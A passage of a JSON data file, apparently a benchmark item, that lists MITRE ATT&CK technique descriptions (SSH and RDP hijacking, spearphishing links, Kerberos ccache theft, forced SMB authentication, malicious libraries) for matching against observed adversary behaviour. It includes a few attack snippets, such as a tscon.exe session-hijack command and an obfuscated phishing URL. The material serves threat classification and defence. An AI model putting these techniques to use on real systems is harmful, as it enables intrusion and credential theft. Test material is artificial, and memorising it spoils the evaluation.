Network Devices, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1593.002", + "text": "ATT&CK technique: T1593.002 Search Engines\nDescription: Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes). Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1563.001", + "text": "ATT&CK technique: T1563.001 SSH Hijacking\nDescription: Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair. In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. SSH Hijacking differs from use of SSH because it hijacks an existing SSH session rather than creating a new session using Valid Accounts.\nTactics: lateral movement\nPlatforms: Linux, macOS" + }, + { + "id": "T1598.003", + "text": "ATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1550", + "text": "ATT&CK technique: T1550 Use Alternate Authentication Material\nDescription: Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process. Caching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through Credential Access techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\nTactics: lateral movement\nPlatforms: Containers, IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows" + }, + { + "id": "T1556.008", + "text": "ATT&CK technique: T1556.008 Network Provider DLL\nDescription: Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions. During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening. Adversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`. Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function. Adversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.\nTactics: credential access, defense impairment, persistence\nPlatforms: Windows" + }, + { + "id": "T1563.002", + "text": "ATT&CK technique: T1563.002 RDP Hijacking\nDescription: Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user. This can be done remotely or locally and with active or disconnected sessions. It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.\nTactics: lateral movement\nPlatforms: Windows" + }, + { + "id": "T1558.005", + "text": "ATT&CK technique: T1558.005 Ccache Files\nDescription: Adversaries may attempt to steal Kerberos tickets stored in credential cache files (or ccache). These files are used for short term storage of a user's active session credentials. The ccache file is created upon user authentication and allows for access to multiple services without the user having to re-enter credentials. The /etc/krb5.conf configuration file and the KRB5CCNAME environment variable are used to set the storage location for ccache entries. On Linux, credentials are typically stored in the `/tmp` directory with a naming format of `krb5cc_%UID%` or `krb5.ccache`. On macOS, ccache entries are stored by default in memory with an `API:{uuid}` naming scheme. Typically, users interact with ticket storage using kinit, which obtains a Ticket-Granting-Ticket (TGT) for the principal; klist, which lists obtained tickets currently held in the credentials cache; and other built-in binaries. Adversaries can collect tickets from ccache files stored on disk and authenticate as the current user without their password to perform Pass the Ticket attacks. Adversaries can also use these tickets to impersonate legitimate users with elevated privileges to perform Privilege Escalation. Tools like Kekeo can also be used by adversaries to convert ccache files to Windows format for further Lateral Movement. On macOS, adversaries may use open-source tools or the Kerberos framework to interact with ccache files and extract TGTs or Service Tickets via lower-level APIs.\nTactics: credential access\nPlatforms: Linux, macOS" + }, + { + "id": "T1033", + "text": "ATT&CK technique: T1033 System Owner/User Discovery\nDescription: Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Various utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information. On network devices, Network Device CLI commands such as `show users` and `show ssh` can be used to display users currently logged into the device.\nTactics: discovery\nPlatforms: Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1110.004", + "text": "ATT&CK technique: T1110.004 Credential Stuffing\nDescription: Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts. Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. Typically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/TCP) In addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.\nTactics: credential access\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1596.005", + "text": "ATT&CK technique: T1596.005 Scan Databases\nDescription: Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners. Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1219.003", + "text": "ATT&CK technique: T1219.003 Remote Access Hardware\nDescription: An adversary may use legitimate remote access hardware to establish an interactive command and control channel to target systems within networks. These services, including IP-based keyboard, video, or mouse (KVM) devices such as TinyPilot and PiKVM, are commonly used as legitimate tools and may be allowed by peripheral device policies within a target environment. Remote access hardware may be physically installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote session with the target system. Using hardware-based remote access tools may allow threat actors to bypass software security solutions and gain more control over the compromised device(s).\nTactics: command and control\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1036.010", + "text": "ATT&CK technique: T1036.010 Masquerade Account Name\nDescription: Adversaries may match or approximate the names of legitimate accounts to make newly created ones appear benign. This will typically occur during Create Account, although accounts may also be renamed at a later date. This may also coincide with Account Access Removal if the actor first deletes an account before re-creating one with the same name. Often, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management. They may also give accounts generic, trustworthy names, such as “admin”, “help”, or “root.” Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to Account Discovery. Note that this is distinct from Impersonation, which describes impersonating specific trusted individuals or organizations, rather than user or service account names.\nTactics: stealth\nPlatforms: Containers, IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1681", + "text": "ATT&CK technique: T1681 Search Threat Vendor Data\nDescription: Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group’s activity, and more. Adversaries may change their behavior when planning their future operations. Adversaries have been observed replacing atomic indicators mentioned in blog posts in under a week. Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation. This technique is distinct from Threat Intel Vendors in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1098", + "text": "ATT&CK technique: T1098 Account Manipulation\nDescription: Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts.\nTactics: persistence, privilege escalation\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1557.004", + "text": "ATT&CK technique: T1557.004 Evil Twin\nDescription: Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or Input Capture. By using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks. Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks. A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. Similarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network. Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network. Upon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim’s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points.\nTactics: collection, credential access\nPlatforms: Network Devices" + }, + { + "id": "T1204", + "text": "ATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS" + }, + { + "id": "T1090.001", + "text": "ATT&CK technique: T1090.001 Internal Proxy\nDescription: Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment. By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1555.005", + "text": "ATT&CK technique: T1555.005 Password Managers\nDescription: Adversaries may acquire user credentials from third-party password managers. Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk. Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory. Adversaries may extract credentials from memory via Exploitation for Credential Access. Adversaries may also try brute forcing via Password Guessing to obtain the master password of a password manager.\nTactics: credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1596.001", + "text": "ATT&CK technique: T1596.001 DNS/Passive DNS\nDescription: Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS). Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Search Victim-Owned Websites or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1584.008", + "text": "ATT&CK technique: T1584.008 Network Devices\nDescription: Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not Initial Access to that environment, but rather to leverage these devices to support additional targeting. Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for Phishing campaigns (i.e., Link Target) or enabling the required access to execute Content Injection operations. Adversaries may also be able to harvest reusable credentials (i.e., Valid Accounts) from compromised network devices. Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses. Compromised network devices may be used to support subsequent Command and Control activity, such as Hide Infrastructure through an established Proxy and/or Botnet network.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1674", + "text": "ATT&CK technique: T1674 Input Injection\nDescription: Adversaries may simulate keystrokes on a victim’s computer by various means to perform any type of action on behalf of the user, such as launching the command interpreter using keyboard shortcuts, typing an inline script to be executed, or interacting directly with a GUI-based application. These actions can be preprogrammed into adversary tooling or executed through physical devices such as Human Interface Devices (HIDs). For example, adversaries have used tooling that monitors the Windows message loop to detect when a user visits bank-specific URLs. If detected, the tool then simulates keystrokes to open the developer console or select the address bar, pastes malicious JavaScript from the clipboard, and executes it - enabling manipulation of content within the browser, such as replacing bank account numbers during transactions. Adversaries have also used malicious USB devices to emulate keystrokes that launch PowerShell, leading to the download and execution of malware from adversary-controlled servers.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1597.001", + "text": "ATT&CK technique: T1597.001 Threat Intel Vendors\nDescription: Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures. Adversaries may search in private threat intelligence vendor data to gather actionable information. If a threat actor is searching for information on their own activities, that falls under Search Threat Vendor Data. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Exploit Public-Facing Application or External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.002", + "text": "ATT&CK technique: T1596.002 WHOIS\nDescription: Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers. Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1001.003", + "text": "ATT&CK technique: T1001.003 Protocol or Service Impersonation\nDescription: Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. Adversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1204.005", + "text": "ATT&CK technique: T1204.005 Malicious Library\nDescription: Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may Upload Malware to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency. In some cases, threat actors may compromise and backdoor existing popular libraries (i.e., Compromise Software Dependencies and Development Tools). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1134.001", + "text": "ATT&CK technique: T1134.001 Token Impersonation/Theft\nDescription: Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread. An adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system. When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. Token Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.\nTactics: privilege escalation, stealth\nPlatforms: Windows" + }, + { + "id": "T1195.001", + "text": "ATT&CK technique: T1195.001 Compromise Software Dependencies and Development Tools\nDescription: Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency. This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries. Adversaries may also employ \"typosquatting\" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user. Additionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application. By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via Proc Filesystem) or insert further malicious components into the build pipelines for a second-order supply chain compromise. As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action. Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1187", + "text": "ATT&CK technique: T1187 Forced Authentication\nDescription: Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept. The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. Template Injection), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server. With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials. There are several different ways this can occur. Some specifics from in-the-wild use include: * A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. Template Injection). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. * A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. Alternatively, by leveraging the EfsRpcOpenFileRaw function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of EfsRpcOpenFileRaw function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.\nTactics: credential access\nPlatforms: Windows" + }, + { + "id": "T1087", + "text": "ATT&CK technique: T1087 Account Discovery\nDescription: Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts). Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment. For examples, cloud environments typically provide easily accessible interfaces to obtain user lists. On hosts, adversaries can use default PowerShell and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system’s files.\nTactics: discovery\nPlatforms: ESXi, IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1590.006", + "text": "ATT&CK technique: T1590.006 Network Security Appliances\nDescription: Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1588.004", + "text": "ATT&CK technique: T1588.004 Digital Certificates\nDescription: Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or even enabling Adversary-in-the-Middle if the certificate is trusted or otherwise added to the root of trust (i.e. Install Root Certificate). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities. Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free. After obtaining a digital certificate, an adversary may then install that certificate (see Install Digital Certificate) on infrastructure under their control.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1114.002", + "text": "ATT&CK technique: T1114.002 Remote Email Collection\nDescription: Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as MailSniper can be used to automate searches for specific keywords.\nTactics: collection\nPlatforms: Office Suite, Windows" + }, + { + "id": "T1036", + "text": "ATT&CK technique: T1036 Masquerading\nDescription: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Windows, macOS" + }, + { + "id": "T1036.012", + "text": "ATT&CK technique: T1036.012 Browser Fingerprint\nDescription: Adversaries may attempt to blend in with legitimate traffic by spoofing browser and system attributes like operating system, system language, platform, user-agent string, resolution, time zone, etc. The HTTP User-Agent request header is a string that lets servers and network peers identify the application, operating system, vendor, and/or version of the requesting user agent. Adversaries may gather this information through System Information Discovery or by users navigating to adversary-controlled websites, and then use that information to craft their web traffic to evade defenses.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1090.002", + "text": "ATT&CK technique: T1090.002 External Proxy\nDescription: Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion. External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + 